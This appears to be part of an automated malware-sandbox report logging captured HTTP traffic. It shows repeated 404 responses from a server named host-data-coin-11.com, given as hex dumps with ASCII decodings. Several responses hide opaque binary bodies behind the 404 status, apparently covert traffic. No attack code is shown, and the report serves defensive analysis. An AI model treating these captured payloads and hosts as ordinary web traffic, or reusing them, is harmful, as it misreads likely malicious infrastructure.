65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Tue, 28 Dec 2021 04:18:01 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c8 89 40 0e 65 1b e4 bf c1 b1 a2 14 a5 08 cd 2c b4 59 52 db 17 f8 ee 39 ec 3f 52 17 b2 ea 93 42 fe 02 86 1c 80 a7 70 9b 77 a7 f9 0d 0a 30 0d 0a 0d 0a Data Ascii: 3eI:82O@e,YR9?RBpw0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:18:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b5 50 db 41 d4 fd 25 8d 2a ed aa 96 56 2b e3 b1 48 22 e3 b3 b7 6c f6 9e b8 5e a9 77 96 c4 30 41 56 39 0f 4c da bb 4d b3 f2 40 84 a0 c3 00 c6 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XPA%*V+H"l^w0AV9LM@`i0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4c ee af 88 70 bc 57 dd 42 d0 fc 25 84 26 e8 c3 90 52 2e ee a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9LpWB%&R.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
